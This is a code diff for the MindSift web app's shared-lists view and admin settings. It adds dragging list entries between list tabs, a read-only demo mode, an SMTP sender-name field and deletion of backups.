const [activeListId, setActiveListId] = useState<string>(initialListId || ''); // The open list survives switching to other tabs (like the workspace's open note)
const [activeListId, setActiveListId] = useState<string>(
() => initialListId || readViewSession<{ listId: string }>('lists').listId || ''
);
useEffect(() => {
if (activeListId) writeViewSession('lists', { listId: activeListId });
}, [activeListId]);
useEffect(() => { useEffect(() => {
if (initialListId) { if (initialListId) {
@@ -116,6 +122,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
const [draggingItemId, setDraggingItemId] = useState<string | null>(null); const [draggingItemId, setDraggingItemId] = useState<string | null>(null);
const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null); const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null);
const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null); const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null);
// List tab a dragged entry hovers over (dropping moves it into that list)
const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
const realtimeConnRef = useRef<any>(null); const realtimeConnRef = useRef<any>(null);
@@ -378,6 +386,35 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
setDraggingItemId(item.id); setDraggingItemId(item.id);
}; };
const canWriteList = (lst: SharedList) => lst.isOwner || lst.role !== 'viewer';
// An entry dragged onto another list's tab lands at the top of that list, like a new entry
const handleDropOnListTab = async (e: React.DragEvent, target: SharedList) => {
e.preventDefault();
const itemId = e.dataTransfer.getData('application/mindsift-list-item-id') || draggingItemId;
setDraggingItemId(null);
setDragOverItemTarget(null);
setDragOverCategoryTarget(null);
setDragOverListTab(null);
const source = activeList;
const item = source?.items.find((i) => i.id === itemId);
if (!source || !item || target.id === source.id || !canWriteList(target)) return;
triggerHaptic(15);
setLists((prev) =>
prev.map((l) => {
if (l.id === source.id) return { ...l, items: l.items.filter((i) => i.id !== item.id) };
if (l.id === target.id) return { ...l, items: deduplicateItems([{ ...item, listId: target.id }, ...l.items]) };
return l;
})
);
try {
await api.moveListItem(source.id, item.id, target.id);
} catch {
loadLists();
}
onRefreshGlobal?.();
};
const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => { const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => {
e.preventDefault(); e.preventDefault();
e.stopPropagation(); e.stopPropagation();
@@ -849,6 +886,23 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
]); ]);
}, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]); }, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]);
// Connection pill in the same look as the notes' header
const livePill = (
<span
className="inline-flex items-center gap-1 h-7 px-2 rounded-btn text-[11px] bg-panel text-muted"
title={
!wsConnected
? 'Keine Live-Verbindung – Änderungen anderer erscheinen nach dem Neuladen'
: realtimeTransport === 'sse'
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
: 'Live-Verbindung über WebSocket'
}
>
<span className={`w-1.5 h-1.5 rounded-full ${wsConnected ? 'bg-status-ok' : 'bg-status-warn'}`} />
{wsConnected ? 'Live' : 'Offline'}
</span>
);
return ( return (
<div className="w-full space-y-3"> <div className="w-full space-y-3">
{/* Top Header: List Tabs & Actions (Desktop) */} {/* Top Header: List Tabs & Actions (Desktop) */}
@@ -861,9 +915,21 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
return ( return (
<div <div
key={lst.id} key={lst.id}
onDragOver={(e) => {
if (!draggingItemId || isSelected || !canWriteList(lst)) return;
e.preventDefault();
e.dataTransfer.dropEffect = 'move';
if (dragOverListTab !== lst.id) setDragOverListTab(lst.id);
}}
onDragLeave={() => {
if (dragOverListTab === lst.id) setDragOverListTab(null);
}}
onDrop={(e) => handleDropOnListTab(e, lst)}
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${ className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main' isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
} ${isSelected && lists.length > 1 ? 'pr-1' : ''}`} } ${isSelected && lists.length > 1 ? 'pr-1' : ''} ${
dragOverListTab === lst.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''
}`}
> >
<button <button
onClick={() => setActiveListId(lst.id)} onClick={() => setActiveListId(lst.id)}
@@ -951,30 +1017,13 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
); );
})()} })()}
{/* Live Sync Status */} {livePill}
<div
className={`h-8 w-8 flex items-center justify-center rounded-btn border transition-colors ${
wsConnected
? realtimeTransport === 'sse'
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
: 'bg-canvas border-border text-muted'
}`}
title={
wsConnected
? realtimeTransport === 'sse'
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
: 'Live synchronisiert (WebSocket online)'
: 'Offline'
}
>
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
</div>
</div> </div>
</div> </div>
{/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */} {/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0"> {/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
<div className="flex items-center gap-2 min-w-0"> <div className="flex items-center gap-2 min-w-0">
<span className="text-sm font-semibold text-main truncate"> <span className="text-sm font-semibold text-main truncate">
{activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'} {activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'}
@@ -996,24 +1045,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
<Users className="w-4 h-4 text-accent" /> <Users className="w-4 h-4 text-accent" />
</button> </button>
)} )}
<div {livePill}
className={`h-9 w-9 flex items-center justify-center rounded-btn border transition-colors ${
wsConnected
? realtimeTransport === 'sse'
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
: 'bg-canvas border-border text-muted'
}`}
title={
wsConnected
? realtimeTransport === 'sse'
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
: 'Live synchronisiert (WebSocket online)'
: 'Offline'
}
>
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
</div>
</div> </div>
</div> </div>
@@ -1123,6 +1155,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0"> <div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
<input <input
type="text" type="text"
inputMode="decimal"
value={newItemQty} value={newItemQty}
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))} onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
placeholder="Menge (z.B. 2)" placeholder="Menge (z.B. 2)"
@@ -1194,6 +1227,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
setDraggingItemId(null); setDraggingItemId(null);
setDragOverItemTarget(null); setDragOverItemTarget(null);
setDragOverCategoryTarget(null); setDragOverCategoryTarget(null);
setDragOverListTab(null);
}} }}
onDragOver={(e) => handleItemDragOver(e, item.id)} onDragOver={(e) => handleItemDragOver(e, item.id)}
onDragLeave={(e) => handleItemDragLeave(e, item.id)} onDragLeave={(e) => handleItemDragLeave(e, item.id)}
@@ -29,6 +29,7 @@ import { passwordProblem } from '../../lib/password';
import { UserAvatar } from '../../components/UserAvatar'; import { UserAvatar } from '../../components/UserAvatar';
import { ToggleSwitch } from '../../components/ToggleSwitch'; import { ToggleSwitch } from '../../components/ToggleSwitch';
import { BackupAdminCard } from './BackupAdminCard'; import { BackupAdminCard } from './BackupAdminCard';
import { VoiceStatusCard } from './VoiceStatusCard';
import { CountBadge } from '../../components/CountBadge'; import { CountBadge } from '../../components/CountBadge';
interface AdminSettingsViewProps { interface AdminSettingsViewProps {
@@ -102,6 +103,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpUser: '', smtpUser: '',
smtpPass: '', smtpPass: '',
smtpFrom: '', smtpFrom: '',
smtpFromName: '',
smtpTls: true, smtpTls: true,
smtpSkipVerify: false, smtpSkipVerify: false,
smtpConfiguredViaEnv: false, smtpConfiguredViaEnv: false,
@@ -132,6 +134,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpUser: sys.smtpUser || '', smtpUser: sys.smtpUser || '',
smtpPass: sys.smtpPass || '', smtpPass: sys.smtpPass || '',
smtpFrom: sys.smtpFrom || '', smtpFrom: sys.smtpFrom || '',
smtpFromName: sys.smtpFromName || '',
smtpTls: sys.smtpTls ?? true, smtpTls: sys.smtpTls ?? true,
smtpSkipVerify: Boolean(sys.smtpSkipVerify), smtpSkipVerify: Boolean(sys.smtpSkipVerify),
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks), allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
@@ -146,8 +149,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
} }
}; };
// Read-only in the public demo (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
useEffect(() => { useEffect(() => {
loadAll(); loadAll();
api
.getAuthStatus()
.then((st) => setDemoMode(Boolean(st.demoMode)))
.catch(() => {});
}, []); }, []);
// ============================================================================ // ============================================================================
@@ -519,6 +528,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* Right Content Area */} {/* Right Content Area */}
<div className="md:col-span-3 panel-surface p-5 text-xs"> <div className="md:col-span-3 panel-surface p-5 text-xs">
{demoMode && (
<div className="flex items-center gap-2 alert-err mb-4">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
ansehen.
</span>
</div>
)}
{/* ================================================================= */} {/* ================================================================= */}
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */} {/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
{/* ================================================================= */} {/* ================================================================= */}
@@ -1013,300 +1031,326 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */} {/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
{/* ================================================================= */} {/* ================================================================= */}
{section === 'server' && isServerAdmin && ( {section === 'server' && isServerAdmin && (
<div className="space-y-6"> <fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="border-b border-border pb-3"> <div className="space-y-6">
<h2 className="text-sm font-bold text-main"> <div className="border-b border-border pb-3">
Server-Grundeinstellungen & Benutzer-Sichtbarkeit <h2 className="text-sm font-bold text-main">
</h2> Server-Grundeinstellungen & Benutzer-Sichtbarkeit
<p className="text-muted mt-0.5"> </h2>
Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur <p className="text-muted mt-0.5">
innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind. Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur
</p> innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind.
</div> </p>
<div className="space-y-4">
<div>
<label className="block text-muted font-semibold mb-1">
Name der MindSift-Instanz
</label>
<div className="flex gap-2 max-w-md">
<input
type="text"
value={settings.instanceName}
onChange={(e) =>
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
}
className="flex-1 h-9 px-3 input-field"
/>
<button
type="button"
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-4 text-xs"
>
Speichern
</button>
</div>
</div> </div>
{/* Sharing Isolation Cards */} <div className="space-y-4">
<div className="space-y-2"> <div>
<label className="block text-muted font-semibold flex items-center gap-1.5"> <label className="block text-muted font-semibold mb-1">
<Users className="w-4 h-4 text-accent" /> Name der MindSift-Instanz
<span>Globale Sharing- & Sichtbarkeits-Isolation</span> </label>
</label> <div className="flex gap-2 max-w-md">
<input
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3"> type="text"
{SHARING_MODES.map((m) => ( value={settings.instanceName}
onChange={(e) =>
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
}
className="flex-1 h-9 px-3 input-field"
/>
<button <button
key={m.id}
type="button" type="button"
onClick={() => handleSelectSharingMode(m.id)} onClick={() => handleSaveSystemSettings()}
className={`p-4 text-left border rounded-card transition-colors ${ className="btn-primary h-9 px-4 text-xs"
settings.sharingMode === m.id
? 'bg-canvas border-accent text-main shadow-panel'
: 'bg-canvas/50 border-border text-muted hover:text-main'
}`}
> >
<p className="font-bold text-xs text-main">{m.title}</p> Speichern
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
</button>
))}
</div>
{pendingMode && (
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
<span className="flex-1 min-w-0 text-main">
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
</span>
<button
onClick={() => {
const mode = pendingMode.mode;
setPendingMode(null);
handleSaveSystemSettings({ sharingMode: mode });
}}
className="btn-primary h-7 px-3 text-[11px]"
>
Trotzdem wechseln
</button>
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
Abbrechen
</button> </button>
</div> </div>
)}
</div>
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
</p>
</div>
<ToggleSwitch
checked={Boolean(settings.allowPrivateWebhooks)}
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
/>
</div>
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
</p>
</div> </div>
<div className="flex items-center gap-3 flex-shrink-0"> {/* Sharing Isolation Cards */}
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}> <div className="space-y-2">
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'} <label className="block text-muted font-semibold flex items-center gap-1.5">
</span> <Users className="w-4 h-4 text-accent" />
<span>Globale Sharing- & Sichtbarkeits-Isolation</span>
</label>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
{SHARING_MODES.map((m) => (
<button
key={m.id}
type="button"
onClick={() => handleSelectSharingMode(m.id)}
className={`p-4 text-left border rounded-card transition-colors ${
settings.sharingMode === m.id
? 'bg-canvas border-accent text-main shadow-panel'
: 'bg-canvas/50 border-border text-muted hover:text-main'
}`}
>
<p className="font-bold text-xs text-main">{m.title}</p>
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
</button>
))}
</div>
{pendingMode && (
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
<span className="flex-1 min-w-0 text-main">
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
</span>
<button
onClick={() => {
const mode = pendingMode.mode;
setPendingMode(null);
handleSaveSystemSettings({ sharingMode: mode });
}}
className="btn-primary h-7 px-3 text-[11px]"
>
Trotzdem wechseln
</button>
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
Abbrechen
</button>
</div>
)}
</div>
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
<VoiceStatusCard />
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
</p>
</div>
<ToggleSwitch <ToggleSwitch
checked={settings.allowRegistration} checked={Boolean(settings.allowPrivateWebhooks)}
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })} onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
/> />
</div> </div>
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
</p>
</div>
<div className="flex items-center gap-3 flex-shrink-0">
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
</span>
<ToggleSwitch
checked={settings.allowRegistration}
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
/>
</div>
</div>
</div> </div>
</div> </div>
</div> </fieldset>
)} )}
{/* ================================================================= */} {/* ================================================================= */}
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */} {/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
{/* ================================================================= */} {/* ================================================================= */}
{section === 'smtp' && isServerAdmin && ( {section === 'smtp' && isServerAdmin && (
<div className="space-y-6"> <fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2"> <div className="space-y-6">
<div> <div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<h2 className="text-sm font-bold text-main"> <div>
E-Mail / SMTP-Server für Aufgaben-Alarme <h2 className="text-sm font-bold text-main">
</h2> E-Mail / SMTP-Server für Aufgaben-Alarme
<p className="text-muted mt-0.5"> </h2>
Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder <p className="text-muted mt-0.5">
direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert). Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder
</p> direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert).
</p>
</div>
{settings.smtpConfiguredViaEnv && (
<span className="badge-ok text-[11px] flex-shrink-0">
Docker Env erkannt
</span>
)}
</div> </div>
{settings.smtpConfiguredViaEnv && ( <div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
<span className="badge-ok text-[11px] flex-shrink-0"> <div>
Docker Env erkannt <label className="block text-muted font-medium mb-1">
</span> SMTP Host (`SMTP_HOST`)
)} </label>
</div> <input
type="text"
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4"> value={settings.smtpHost || ''}
<div> onChange={(e) =>
<label className="block text-muted font-medium mb-1"> setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
SMTP Host (`SMTP_HOST`) }
</label> placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
<input className="w-full h-9 px-3 input-field font-mono"
type="text"
value={settings.smtpHost || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
}
placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Port (`SMTP_PORT`)
</label>
<input
type="text"
inputMode="numeric"
value={settings.smtpPort ?? ''}
onChange={(e) =>
// Digits only; an empty field stays empty while typing (saved as 587)
setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
}
placeholder="587"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Benutzername (`SMTP_USER`)
</label>
<input
type="text"
value={settings.smtpUser || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Passwort (`SMTP_PASS`)
</label>
<input
type="password"
value={settings.smtpPass || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder="••••••••••••"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Adresse (`SMTP_FROM`)
</label>
<input
type="text"
value={settings.smtpFrom || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
}
placeholder="MindSift <alerts@deinedomain.de>"
className="w-full h-9 px-3 input-field"
/>
</div>
<div className="sm:col-span-2 space-y-3 pt-1">
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
<p className="text-[11px] text-muted">
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
</p>
</div>
<ToggleSwitch
checked={settings.smtpTls ?? true}
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
/> />
</div> </div>
<div className="flex items-center justify-between gap-3">
<div> <div>
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p> <label className="block text-muted font-medium mb-1">
<p className="text-[11px] text-muted"> SMTP Port (`SMTP_PORT`)
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung </label>
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft. <input
</p> type="text"
</div> inputMode="numeric"
<ToggleSwitch value={settings.smtpPort ?? ''}
checked={settings.smtpSkipVerify ?? false} onChange={(e) =>
disabled={!(settings.smtpTls ?? true)} // Digits only; an empty field stays empty while typing (saved as 587)
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))} setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
}
placeholder="587"
className="w-full h-9 px-3 input-field font-mono"
/> />
</div> </div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Benutzername (`SMTP_USER`)
</label>
<input
type="text"
value={settings.smtpUser || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Passwort (`SMTP_PASS`)
</label>
<input
type="password"
value={settings.smtpPass || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
autoComplete="new-password"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Adresse (`SMTP_FROM`)
</label>
<input
type="text"
value={settings.smtpFrom || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Name (`SMTP_FROM_NAME`)
</label>
<input
type="text"
value={settings.smtpFromName || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFromName: e.target.value }))
}
placeholder="MindSift"
className="w-full h-9 px-3 input-field"
/>
<p className="text-[11px] text-faint mt-1">
Erscheint beim Empfänger als Absender. Leer = „MindSift“; ein Name direkt in der Adresse
(„Name &lt;adresse&gt;“) hat Vorrang.
</p>
</div>
<div className="sm:col-span-2 space-y-3 pt-1">
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
<p className="text-[11px] text-muted">
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
</p>
</div>
<ToggleSwitch
checked={settings.smtpTls ?? true}
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
/>
</div>
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p>
<p className="text-[11px] text-muted">
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft.
</p>
</div>
<ToggleSwitch
checked={settings.smtpSkipVerify ?? false}
disabled={!(settings.smtpTls ?? true)}
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))}
/>
</div>
</div>
</div> </div>
</div>
<div className="flex justify-end pt-2 border-t border-border"> <div className="flex justify-end pt-2 border-t border-border">
<button
type="button"
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-5 text-xs font-semibold"
>
SMTP-Konfiguration in Datenbank speichern
</button>
</div>
{/* Test SMTP Delivery */}
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
<p className="text-[11px] text-muted">
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
</p>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="email"
value={testSmtpEmail}
onChange={(e) => setTestSmtpEmail(e.target.value)}
placeholder="empfaenger@beispiel.de"
className="flex-1 h-8 px-3 input-field"
/>
<button <button
type="button" type="button"
onClick={handleTestSmtp} onClick={() => handleSaveSystemSettings()}
disabled={testingSmtp || !testSmtpEmail.trim()} className="btn-primary h-9 px-5 text-xs font-semibold"
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
> >
<Send className="w-3.5 h-3.5 text-accent" /> SMTP-Konfiguration in Datenbank speichern
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
</button> </button>
</div> </div>
{/* Test SMTP Delivery */}
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
<p className="text-[11px] text-muted">
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
</p>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="email"
value={testSmtpEmail}
onChange={(e) => setTestSmtpEmail(e.target.value)}
placeholder="empfaenger@beispiel.de"
className="flex-1 h-8 px-3 input-field"
/>
<button
type="button"
onClick={handleTestSmtp}
disabled={testingSmtp || !testSmtpEmail.trim()}
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
>
<Send className="w-3.5 h-3.5 text-accent" />
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
</button>
</div>
</div>
</div> </div>
</div> </fieldset>
)} )}
</div> </div>
</div> </div>
@@ -1,5 +1,5 @@
import React, { useEffect, useState } from 'react'; import React, { useEffect, useState } from 'react';
import { Archive, Download, Loader2 } from 'lucide-react'; import { Archive, Download, Loader2, Trash2 } from 'lucide-react';
import { BackupFile, SystemSettings } from '../../lib/types'; import { BackupFile, SystemSettings } from '../../lib/types';
import { api } from '../../lib/api'; import { api } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch'; import { ToggleSwitch } from '../../components/ToggleSwitch';
@@ -41,6 +41,16 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
} }
}; };
const remove = async (name: string) => {
if (!window.confirm(`Backup ${name} endgültig löschen?`)) return;
setError(null);
try {
setFiles(await api.adminDeleteBackup(name));
} catch (err: any) {
